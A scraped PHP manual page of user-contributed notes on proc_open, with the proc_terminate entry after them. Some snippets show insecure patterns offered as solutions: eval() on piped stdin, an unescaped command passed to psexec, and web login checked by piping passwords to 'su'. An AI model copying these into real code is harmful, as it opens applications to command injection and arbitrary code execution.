if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
    if (($ret = proc_exec($argv[1])) === false)
        die("Error: not enough FD or out of memory.\n");
    elseif ($ret == 127)
        die("Command not found (returned by sh).\n");
    else
        exit($ret);
}
?>
chris at 2309 dot net 29-Apr-2009 07:14
Hi,

to start processes under win and continue with the script while being
able to further manage these processes using their PID, i have written
three small functions that use proc_open together with three tools from
the MS sysinternals suite (psexec.exe, pslist.exe, pskill.exe)
(NB: the sysinternal tools work as standalone, but need some registry
additions, otherwise they pop open an EULA window on first run, see below)

string proc_start ( string $command )
    -> starts an independent process using $command on the command shell
            and returns its PID when successful or else FALSE
boolean proc_isalive ( string $pid )
  -> returns TRUE if the process with PID provided is running,
          otherwise FALSE
boolean proc_kill ( string $pid )
  -> tries to kill the process with PID provided and returns
          TRUE if successful

The sysinternals tools are here::
http://technet.microsoft.com/en-us/sysinternals/

The registry settings that need be added:
---START OF REG FILE---
Windows Registry Editor Version 5.00

[HKEY_USERS\.DEFAULT\Software\Sysinternals]

[HKEY_USERS\.DEFAULT\Software\Sysinternals\PsExec]
"EulaAccepted"=dword:00000001

[HKEY_USERS\.DEFAULT\Software\Sysinternals\PsList]
"EulaAccepted"=dword:00000001

[HKEY_USERS\.DEFAULT\Software\Sysinternals\PsKill]
"EulaAccepted"=dword:00000001
---EOF---

The code:
<?php
/********************************************************************/
/********************************************************************/
function start_proc ( $comm ) {

    $dn=dirname(__FILE__);
    $descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'w') // stderr
    );
    $fpr = proc_open('psexec.exe -d '.$comm, $descriptorspec, $pipes, $dn);
    fclose($pipes[0]);
    fclose($pipes[1]);
    $stderr = '';
    while(!feof($pipes[2])) { $stderr .= fgets($pipes[2], 128); }
    fclose($pipes[2]);
    proc_close ($fpr);
    $pid =FALSE;
    if ( preg_match ( "/process ID ([\d]{1,10})\./im", $stderr, $matches ) )
      $pid = $matches[1];
     else $pid=FALSE;

    return $pid;

}
/********************************************************************/
/********************************************************************/
function proc_isalive ( $pid ){

    $alive=FALSE;
    $dn=dirname(__FILE__);
    $descriptorspec = array(
    0 => array('pipe', 'r'),   // stdin
    1 => array('pipe', 'w'),  // stdout
    2 => array('pipe', 'w')  // stderr
    );
    $fpr = proc_open( 'pslist.exe '.$pid, $descriptorspec, $pipes, $dn );
    fclose($pipes[0]);
    $stdout = '';
    while(!feof($pipes[1])) { $stdout .= fgets($pipes[1], 128); }
    fclose($pipes[1]);
    $stderr = '';
    while(!feof($pipes[2])) { $stderr .= fgets($pipes[2], 128); }
    fclose($pipes[2]);
    proc_close ($fpr);
    if ( strpos($stdout, 'not found') === FALSE )  $alive=TRUE;

    return $alive;

}
/********************************************************************/
/********************************************************************/
function proc_kill ( $pid ){

    $succ=FALSE;
    $dn=dirname(__FILE__);
    $descriptorspec = array(
    0 => array('pipe', 'r'),   // stdin
    1 => array('pipe', 'w'),  // stdout
    2 => array('pipe', 'w')  // stderr
    );
    $fpr = proc_open( 'pskill.exe '.$pid, $descriptorspec, $pipes, $dn );
    fclose($pipes[0]);
    $stdout = '';
    while(!feof($pipes[1])) { $stdout .= fgets($pipes[1], 128); }
    fclose($pipes[1]);
    $stderr = '';
    while(!feof($pipes[2])) { $stderr .= fgets($pipes[2], 128); }
    fclose($pipes[2]);
    proc_close ($fpr);
    if ( strpos($stdout, 'killed') !== FALSE )  $succ=TRUE;

    return $succ;

}
/********************************************************************/
/********************************************************************/
?>
simeonl at dbc dot co dot nz 03-Mar-2009 06:39
Note that when you call an external script and retrieve large amounts of data from STDOUT and STDERR, you may need to retrieve from both alternately in non-blocking mode (with appropriate pauses if no data is retrieved), so that your PHP script doesn't lock up. This can happen if you waiting on activity on one pipe while the external script is waiting for you to empty the other, e.g:

<?php
$read_output = $read_error = false;
$buffer_len  = $prev_buffer_len = 0;
$ms          = 10;
$output      = '';
$read_output = true;
$error       = '';
$read_error  = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// dual reading of STDOUT and STDERR stops one full pipe blocking the other, because the external script is waiting
while ($read_error != false or $read_output != false)
{
    if ($read_output != false)
    {
        if(feof($pipes[1]))
        {
            fclose($pipes[1]);
            $read_output = false;
        }
        else
        {
            $str = fgets($pipes[1], 1024);
            $len = strlen($str);
            if ($len)
            {
                $output .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($read_error != false)
    {
        if(feof($pipes[2]))
        {
            fclose($pipes[2]);
            $read_error = false;
        }
        else
        {
            $str = fgets($pipes[2], 1024);
            $len = strlen($str);
            if ($len)
            {
                $error .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($buffer_len > $prev_buffer_len)
    {
        $prev_buffer_len = $buffer_len;
        $ms = 10;
    }
    else
    {
        usleep($ms * 1000); // sleep for $ms milliseconds
        if ($ms < 160)
        {
            $ms = $ms * 2;
        }
    }
}

return proc_close($process);
?>
snowleopard at amused dot NOSPAMPLEASE dot com dot au 05-Jun-2008 07:46
I managed to make a set of functions to work with GPG, since my hosting provider refused to use GPG-ME.
Included below is an example of decryption using a higher descriptor to push a passphrase.
Comments and emails welcome. :)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {

    if(!is_executable($GPGPath)) {
        trigger_error($GPGPath . " is not executable",
        E_USER_ERROR);
        die();
    } else {
        // Set up the descriptors
        $Descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"),
            3 => array("pipe", "r") // This is the pipe we can feed the password into
        );

        // Build the command line and start the process
        $CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
        $ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

        if(is_resource($ProcessHandle)) {
            // Push passphrase to custom pipe
            fwrite($Pipes[3], $PassPhrase);
            fclose($Pipes[3]);

            // Push input into StdIn
            fwrite($Pipes[0], $InputData);
            fclose($Pipes[0]);

            // Read StdOut
            $StdOut = '';
            while(!feof($Pipes[1])) {
                $StdOut .= fgets($Pipes[1], 1024);
            }
            fclose($Pipes[1]);

            // Read StdErr
            $StdErr = '';
            while(!feof($Pipes[2]))    {
                $StdErr .= fgets($Pipes[2], 1024);
            }
            fclose($Pipes[2]);

            // Close the process
            $ReturnCode = proc_close($ProcessHandle);

        } else {
            trigger_error("cannot create resource", E_USER_ERROR);
            die();
        }
    }

    if (strlen($StdOut) >= 1) {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdOut;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
        }
    } else {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdErr;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
        }
    }
    return $ReturnValue;
}
?>
radone at gmail dot com 26-May-2008 05:26
To complete the examples below that use proc_open to encrypt a string using GPG, here is a decrypt function:

<?php
function gpg_decrypt($string, $secret) {
    $homedir = ''; // path to you gpg keyrings
    $tmp_file = '/tmp/gpg_tmp.asc' ; // tmp file to write to
    file_put_contents($tmp_file, $string);

    $text = '';
    $error = '';
    $descriptorspec = array(
        0 => array("pipe", "r"),  // stdin
        1 => array("pipe", "w"),  // stdout
        2 => array("pipe", "w")   // stderr ?? instead of a file
        );
    $command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';
    $process = proc_open($command, $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], $secret);
        fclose($pipes[0]);
        while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $text .= $s;
        }
        fclose($pipes[1]);
        // optional:
        while($s= fgets($pipes[2], 1024)) {
          $error .= $s . "\n";
        }
        fclose($pipes[2]);
    }

    file_put_contents($tmp_file, '');

    if (preg_match('/decryption failed/i', $error)) {
        return false;
    } else {
        return $text;
    }
}
?>
jonah at whalehosting dot ca 02-May-2008 10:22
@joachimb: The descriptorspec describes the i/o from the perspective of the process you are opening.  That is why stdin is read: you are writing, the process is reading.  So you want to open descriptor 2 (stderr) in write mode so that the process can write to it and you can read it.  In your case where you want all descriptors to be pipes you should always use:

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'w') // stderr
);
?>

The examples below where stderr is opened as 'r' is a mistake.

I would like to see examples of using higher descriptor numbers than 2.  Specifically GPG as mentioned in the documentation.
joachimb at gmail dot com 30-Apr-2008 08:24
I'm confused by the direction of the pipes. Most of the examples in this documentation opens pipe #2 as "r", because they want to read from stderr. That sounds logical to me, and that's what I tried to do. That didn't work, though. When I changed it to w, as in
<?php
        $descriptorspec = array(
           0 => array("pipe", "r"), // stdin
           1 => array("pipe", "w"), // stdout
           2 => array("pipe", "w") // stderr
        );

        $process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
        while (!feof($pipes[1])) {
            foreach($pipes as $key =>$pipe) {
                $line = fread($pipe, 128);
                if($line) {
                    print($line);
                    $this->log($line);
                }
            }
            sleep(0.5);
        }
...
?>

everything works fine.
jaroslaw at pobox dot sk 28-Mar-2008 02:15
Some functions stops working proc_open() to me.
This i made to work for me to communicate between two php scripts:

<?php
$abs_path = '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV);
if (is_resource($process)) {
    # wait till something happens on other side
    sleep(1);
    # send command
    fwrite($pipes[0], 'echo $test;');
    fflush($pipes[0]);
    # wait till something happens on other side
    usleep(1000);
    # read pipe for result
    echo fread($pipes[1],1024).'<hr>';
    # close pipes
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    $return_value = proc_close($process);
}
?>

filename.php then contains this:

<?php
$test = 'test data generated here<br>';
while(true) {
    # read incoming command
    if($fh = fopen('php://stdin','rb')) {
        $val_in = fread($fh,1024);
        fclose($fh);
    }
    # execute incoming command
    if($val_in)
        eval($val_in);
    usleep(1000);
    # prevent neverending cycle
    if($tmp_counter++ > 100)
        break;
}
?>
chris AT w3style DOT co.uk 22-Feb-2008 02:57
It took me a long time (and three consecutive projects) to figure this out.  Because popen() and proc_open() return valid processes even when the command failed it's awkward to determine when it really has failed if you're opening a non-interactive process like "sendmail -t".

I had previously guess that reading from STDERR immediately after starting the process would work, and it does... but when the command is successful PHP just hangs because STDERR is empty and it's waiting for data to be written to it.

The solution is a simple stream_set_blocking($pipes[2], 0) immediately after calling proc_open().

<?php

    $this->_proc = proc_open($command, $descriptorSpec, $pipes);
    stream_set_blocking($pipes[2], 0);
    if ($err = stream_get_contents($pipes[2]))
    {
      throw new Swift_Transport_TransportException(
        'Process could not be started [' . $err . ']'
        );
    }

?>

If the process is opened successfully $pipes[2] will be empty, but if it failed the bash/sh error will be in it.

Finally I can drop all my "workaround" error checking.

I realise this solution is obvious and I'm not sure how it took me 18 months to figure it out, but hopefully this will help someone else.

NOTE: Make sure your descriptorSpec has ( 2 => array('pipe', 'w')) for this to work.
Anonymous 27-Dec-2007 07:40
I needed to emulate a tty for a process (it wouldnt write to stdout or read from stdin), so I found this:

<?php
$descriptorspec = array(0 => array('pty'),
                        1 => array('pty'),
                        2 => array('pty'));
?>

pipes are bidirectional then
John Wehin 06-Dec-2007 10:52
STDIN STDOUT example
test.php

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //run test_gen.php
echo ("Start process:\n");
if (is_resource($process))
{
    fwrite($pipes[0], "start\n");    // send start
    echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
    fwrite($pipes[0], "get\n");    // send get
    echo ("Get: ".fgets($pipes[1],4096));    //get answer
    fwrite($pipes[0], "stop\n");    //send stop
    echo ("\n\nStop ....".fgets($pipes[1],4096));  //get answer

    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $return_value = proc_close($process);  //stop test_gen.php
    echo ("Returned:".$return_value."\n");
}
?>

test_gen.php
<?php
$keys=0;
function play_stop()
{
global $keys;
        $stdin_stat_arr=fstat(STDIN);
        if($stdin_stat_arr[size]!=0)
        {
            $val_in=fread(STDIN,4096);
            switch($val_in)
            {
            case "start\n":    echo "Started\n";
                    return false;
                    break;
            case "stop\n":    echo "Stopped\n";
                    $keys=0;
                    return false;
                    break;
            case "pause\n":    echo "Paused\n";
                    return false;
                    break;
            case "get\n":    echo ($keys."\n");
                    return true;
                    break;
            default:    echo("Передан не верный параметр: ".$val_in."\n");
                    return true;
                    exit();
            }
        }else{return true;}
}
while(true)
{
while(play_stop()){usleep(1000);}
while(play_stop()){$keys++;usleep(10);}
}
?>
ashnazg at php dot net 05-Oct-2007 02:23
It seems that if you configured --enable-sigchild when you compiled PHP (which from my reading is required for you to use Oracle stuff), then return codes from proc_close() cannot be trusted.

Using proc_open's Example 1998's code on versions I have of PHP4 (4.4.7) and PHP5 (5.2.4), the return code is always "-1".  This is also the only return code I can cause by running other shell commands whether they succeed or fail.

I don't see this caveat mentioned anywhere except on this old bug report -- http://bugs.php.net/bug.php?id=29123
Antti Kauppinen 27-Jul-2007 12:48
missilesilo at gmail dot com had a great example. However error messages didn't work because of wrong stderr argument.

I changed last value 'r' of

<?php
        $descriptorspec = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'r')
        );
?>

to 'w' so that error messages are actually written.

<?php
        $descriptorspec = array(
            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            2 => array("pipe", "w") // stderr is a file to write to
        );
?>
missilesilo at gmail dot com 08-Mar-2007 12:30
If you just want to execute a command and get the output of the program, here is a simple object-oriented way to do it:

If there was an error detected from the STDERR output of the program, the open method of the Process class will throw an Exception. Otherwise, it will return the STDOUT output of the program.

<?php

class Process
{
    public static function open($command)
    {
        $retval = '';
        $error = '';

        $descriptorspec = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'r')
        );

        $resource = proc_open($command, $descriptorspec, $pipes, null, $_ENV);
        if (is_resource($resource))
        {
            $stdin = $pipes[0];
            $stdout = $pipes[1];
            $stderr = $pipes[2];

            while (! feof($stdout))
            {
                $retval .= fgets($stdout);
            }

            while (! feof($stderr))
            {
                $error .= fgets($stderr);
            }

            fclose($stdin);
            fclose($stdout);
            fclose($stderr);

            $exit_code = proc_close($resource);
        }

        if (! empty($error))
            throw new Exception($error);
        else
            return $retval;
    }
}

try
{
    $output = Process::open('cat example.txt');
    // do something with the output
}
catch (Exception $e)
{
    echo $e->getMessage() . "\n";
    // there was a problem executing the command
}

?>
bzapf at qualiject dot de 09-Jan-2007 07:12
whenever the result of proc_open is forgotten (e.g. a function  calling it is left), the process will be terminated immediately. This can be extremely confusing. So always globalize the variable that stores the return value of proc_open...
mjutras at beenox dot com 16-Oct-2006 06:28
The best way on windows to open a process then to let the php script continue is to call your process with the start command then to kill the "start" process and let your program run.

<?
$descriptorspec = array(
       0 => array("pipe", "r"),   // stdin
       1 => array("pipe", "w"),  // stdout
       2 => array("pipe", "w")   // stderr
);
$process = proc_open('start notepad.exe', $descriptorspec, $pipes);
sleep(1);
proc_close($process);
?>

The start command will be called then open notepad, after 1 second the "start" command will be killed but the notepad will still opened and your php script can continue!
Jeff Warner 22-Sep-2006 03:37
I wanted to proc_open bash and then send a command and read the output multiple times instead of opening bash each time.  There were several "tricks"

Put a "\n" on the end of each command
Use a fflush($pipes[0]) after each fwrite($pipes[0])
Put a sleep(1) before you read the output of the command

Once I added all of that I was able to send an arbitrary amount of commands to bash, read the output and when I was finished I could close the pipes.
Docey 24-Jul-2006 05:12
if your writing a function that processes a resource from
another function its a good idea not only to check whether
a resource has been passed to your function but also if its
of the good type like so:

<?php
function workingonit($resource){
 if(is_resource($resource)){
   if(get_resource_type($resource) == "resource_type"){
    // resource is a resource and of the good type. continue
   }else{
    print("resource is of the wrong type.");
    return false;
   }
 }else{
  print("resource passed is not a resource at all.");
  return false;
 }

 // do your stuff with the resource here and return
}
?>

this is extra true for working with files and process pipes.
so always check whats being passed to your functions.

here's a small snipppet of a few resource types:
files are of type 'file' in php4 and 'stream' in php5
'prossess' are resources opened by proc_open.
'pipe' are resource opened by popen.

btw the 'prossess' resource type was not mentioned in
the documentation. i make a bug-report for this.
php dot net_manual at reimwerker dot de 03-Jun-2006 04:47
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
richard at 2006 dot atterer dot net 07-Apr-2006 12:14
[Again, please delete my previous comment, the code still contained bugs (sorry). This version now includes Frederick Leitner's fix from below, and also fixes another bug: If an empty file was piped into the process, the loop would hang indefinitely.]

The following code works for piping large amounts of data through a filtering program. I find it very weird that such a lot of code is needed for this task... On entry, $stdin contains the standard input for the program. Tested on Debian Linux with PHP 5.1.2.

  $descriptorSpec = array(0 => array("pipe", "r"),
                           1 => array('pipe', 'w'),
                           2 => array('pipe', 'w'));
  $process = proc_open($command, $descriptorSpec, $pipes);
  $txOff = 0; $txLen = strlen($stdin);
  $stdout = ''; $stdoutDone = FALSE;
  $stderr = ''; $stderrDone = FALSE;
  stream_set_blocking($pipes[0], 0); // Make stdin/stdout/stderr non-blocking
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  if ($txLen == 0) fclose($pipes[0]);
  while (TRUE) {
    $rx = array(); // The program's stdout/stderr
    if (!$stdoutDone) $rx[] = $pipes[1];
    if (!$stderrDone) $rx[] = $pipes[2];
    $tx = array(); // The program's stdin
    if ($txOff < $txLen) $tx[] = $pipes[0];
    stream_select($rx, $tx, $ex = NULL, NULL, NULL); // Block til r/w possible
    if (!empty($tx)) {
      $txRet = fwrite($pipes[0], substr($stdin, $txOff, 8192));
      if ($txRet !== FALSE) $txOff += $txRet;
      if ($txOff >= $txLen) fclose($pipes[0]);
    }
    foreach ($rx as $r) {
      if ($r == $pipes[1]) {
        $stdout .= fread($pipes[1], 8192);
        if (feof($pipes[1])) { fclose($pipes[1]); $stdoutDone = TRUE; }
      } else if ($r == $pipes[2]) {
        $stderr .= fread($pipes[2], 8192);
        if (feof($pipes[2])) { fclose($pipes[2]); $stderrDone = TRUE; }
      }
    }
    if (!is_resource($process)) break;
    if ($txOff >= $txLen && $stdoutDone && $stderrDone) break;
  }
  $returnValue = proc_close($process);
Kevin Barr 06-Mar-2006 12:36
I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
    if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
    else return FALSE;
}
andrew dot budd at adsciengineering dot com 28-Dec-2005 09:55
The pty option is actually disabled in the source for some reason via a #if 0 && condition.  I'm not sure why it's disabled.  I removed the 0 && and recompiled, after which the pty option works perfectly.  Just a note.
Enrico 24-Nov-2005 08:48
If you want pass an array to $env, you MUST serialize this!
Bad Example:
$env = array('pippo' => 'Hello', 'request' =>$_REQUEST);
$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);
fwrite($pipes[0], '<?php print_r($_ENV[request]); ?>');
A result is an empty array;

Good Example:
$env = array('pippo' => 'Hello', 'request' =>serialize($_REQUEST));
$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);
fwrite($pipes[0], '<?php print_r(unserialize($_ENV[request])); ?>');

A result is good array!

Bye,

Enrico
mendoza at pvv dot ntnu dot no 21-Oct-2005 10:42
Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
  $descriptorspec = array(
     0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
     2 => array("file","/dev/null", "w") // stderr is a file to write to
  );

  $process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

  if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0],$password);
    fclose($pipes[0]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    return !$return_value;
  }
}
?>
picaune at hotmail dot com 16-Oct-2005 04:51
The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.
Chapman Flack 04-Oct-2005 12:34
One can learn from the source code in ext/standard/exec.c that the right-hand side of a descriptor assignment does not have to be an array ('file', 'pipe', or 'pty') - it can also be an existing open stream.

<?php
$p = proc_open('myfilter', array( 0 => $infile, ...), $pipes);
?>

I was glad to learn that because it solves the race condition in a scenario like this: you get a file name, open the file, read a little to make sure it's OK to serve to this client, then rewind the file and pass it as input to the filter. Without this feature, you would be limited to <?php array('file', $fname) ?> or passing the name to the filter command. Those choices both involve a race (because the file will be reopened after you have checked it's OK), and the last one invites surprises if not carefully quoted, too.
Kyle Gibson 05-Aug-2005 12:16
proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.
mgeisler at mgeisler dot net 18-Jul-2005 11:40
An example of using proc_open() can be found in my program PHP Shell: http://phpshell.sourceforge.net/
mib at post dot com 21-Jun-2005 06:21
I thought it was highly not recommended to fork from your web server?

Apart from that, one caveat is that the child process inherits anything that is preserved over fork from the parent (apart from the file descriptors which are explicitly closed).

Importantly, it inherits the signal handling setup, which at least with apache means that SIGPIPE is ignored.  Child processes that expect SIGPIPE to kill them in order to get sensible pipe handling and not go into a tight write loop will have problems unless they reset SIGPIPE themselves.

Similar caveats probably apply to other signals like SIGHUP, SIGINT, etc.

Other things preserved over fork include shared memory segments, umask and rlimits.
falstaff at arragon dot biz 20-Mar-2005 05:22
Using this function under windows with large amounts of data is apparently futile.

these functions are returning 0 but do not appear to be doing anything useful.
stream_set_write_buffer($pipes[0],0);
stream_set_write_buffer($pipes[1],0);

these functions are returning false and are also apparently useless under windows.
stream_set_blocking($pipes[0], FALSE);
stream_set_blocking($pipes[1], FALSE);

The magic max buffer size I found with winxp is 63488 bytes, (62k). Anything larger than this results in a system hang.
Andre Caldas 25-May-2004 03:13
About the comment by  ch at westend dot com
of 28-Aug-2003 08:46

File streams are buffers. The data is not actualy written if you do not flush the buffer. In your case, fclose has the side effect of flushing the buffer you are closing.

The program "hangs" because it tries to read some data that was not written (since it is buffered).

You must do something like:
<?php
  fwrite($fp);
  fflush($fp);
  fread($fp);
?>

Good luck,
    Andre Caldas.
list[at]public[dot]lt 11-May-2004 03:21
if you push a little bit more data through the pipe, it will be hanging forever. One simple solution  on RH linux was to do this:

 stream_set_blocking($pipes[0], FALSE);
 stream_set_blocking($pipes[1], FALSE);

This did not work on windows XP though.
ralf at dreesen[*NO*SPAM*] dot net 09-Jan-2004 11:49
The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

   fwrite($pipes[0], $in);
    /* fwrite writes to stdin, 'cat' will immediately write the data from stdin
    * to stdout and blocks, when the stdout buffer is full. Then it will not
    * continue reading from stdin and php will block here.
    */

   fclose($pipes[0]);

   while (!feof($pipes[1])) {
       $out .= fgets($pipes[1], 1024);
   }
   fclose($pipes[1]);

   $return_value = proc_close($process);
}
?>
MagicalTux at FF.ST 24-Dec-2003 04:20
Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
 - pipes from popen, proc_open
 - pipes from fopen('php://stdin') (or stdout)
 - sockets (unix or tcp/udp)
 - many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php
ch at westend dot com 28-Aug-2003 08:46
I had trouble with this function as my script always hung like in a deadlock until I figured out that I had to strictly keep the following
order. Trying to close all at the end did not work!
  proc_open();
  fwrite(pipes[0]); fclose(pipes[0]); # stdin
  fread(pipes[1]);  fclose(pipes[1]); # stdout
  fread(pipes[2]);  flcose(pipes[2]); # stderr
  proc_close();
daniela at itconnect dot net dot au 16-Apr-2003 02:01
Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
    $descs = array (
                0 => array ("file", "php://stdin", "r"),
                1 => array ("pipe", "w"),
                2 => array ("pipe", "w")
        );
        $proc = proc_open ("myprogram", $descs, $fp);
joeldegan AT yahoo.com 28-Dec-2002 05:54
I worked with proc_open for a while before realizing how it works with applications in real time.
This example loads up the eDonkey2000 client and reads data from it and passes in various commands and returns the results.
This is the base for an ncurses gui for edonkey I am writing in PHP.

<?
define ("DASHES", "-------------------------------------------------\n");
function readit($pipes, $len=2, $end="> "){
    stream_set_blocking($pipes[1], FALSE);
    while($ret = fread($pipes[1],$len)){
        $retval .= $ret;
    if(substr_count($ret, $end) > 0){ $pipes[1] = "" ; break;}
    }
    return $retval;
}//end fucntion
function sendto($pipes, $str){
    fwrite($pipes[0], $str."\n");
}//end function
function viewopts($pipes, $opt){
    sleep(1);
    sendto($pipes, $opt);
    return readit($pipes);
}//end function
function sendopts($pipes, $opt){
    sendto($pipes, $opt);
    usleep(50);
    return readit($pipes);
}//end function

$dspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/eo.txt", "a"),);
$process = proc_open("donkey", $dspec, $pipes);
if (is_resource($process)) {
    readit($pipes);
    echo DASHES;
    echo viewopts($pipes, "vo");
    echo DASHES; echo SEP;echo DASHES;
    echo sendopts($pipes, "name test".rand(5,5000));
    echo DASHES; echo SEP; echo DASHES;
    echo viewopts($pipes, "vo");
    echo DASHES; echo SEP; echo DASHES;
    echo sendopts($pipes, "temp /tmp");
    echo DASHES; echo SEP; echo DASHES;
    echo viewopts($pipes, "g");
    echo DASHES;
    sendto($pipes, "q");
    sendto($pipes, "y");
    readit($pipes);
    fclose($pipes[0]);
    fclose($pipes[1]);
    $return_value = proc_close($process);
}
?>

returns what looks like the following
-----------------------------------------------------------------
Name:                   test2555
AdminName:              admin
AdminPass:              password
AdminPort:              79
Max Download Speed:     0.00
Max Upload Speed:       0.00
Line Speed Down:        0.00
Door Port:              4662
AutoConnect:            1
Verbose:                0
SaveCorrupted:          1
AutoServerRemove:       1
MaxConnections:         45
> ----------------------------------------------------------------
filippo at zirak dot it 19-Apr-2002 07:50
Example of emulating the press of the special key "F3":
    fwrite($pipes[0], chr(27)."[13~");
(for others special keys,  use the program 'od -c' on linux)

(NEEDED: a timeout for stdout pipe, otherwise a fgets on $pipes[1] can lag forever...)
proc_nice
proc_terminate
Program execution Functions


Kills a process opened by proc_open

proc_open
shell_exec
Program execution Functions
PHP Manual

proc_terminate

(PHP 5)

proc_terminate — Kills a process opened by proc_open

Description

bool proc_terminate ( resource $process [, int $signal = 15 ] )

Signals a process (created using proc_open()) that it should terminate. proc_terminate() returns immediately and does not wait for the process to terminate.

proc_terminate() allows you terminate the process and continue with other tasks. You may poll the process (to see if it has stopped yet) by using the proc_get_status() function.

Parameters

process

The proc_open() resource that will be closed.

signal

This optional parameter is only useful on POSIX operating systems; you may specify a signal to send to the process using the kill(2) system call. The default is SIGTERM.

Return Values

Returns the termination status of the process that was run.

Changelog

Version | Description
5.2.2 | Previous versions used to destroy the given process resource.

See Also

  • proc_open() - Execute a command and open file pointers for input/output
  • proc_close() - Close a process opened by proc_open and return the exit code of that process
  • proc_get_status() - Get information about a process opened by proc_open

User Contributed Notes

jerhee at ucsd dot edu 23-Feb-2008 08:08
As explained in http://bugs.php.net/bug.php?id=39992, proc_terminate() leaves children of the child process running. In my application, these children often have infinite loops, so I need a sure way to kill processes created with proc_open(). When I call proc_terminate(), the /bin/sh process is killed, but the child with the infinite loop is left running.

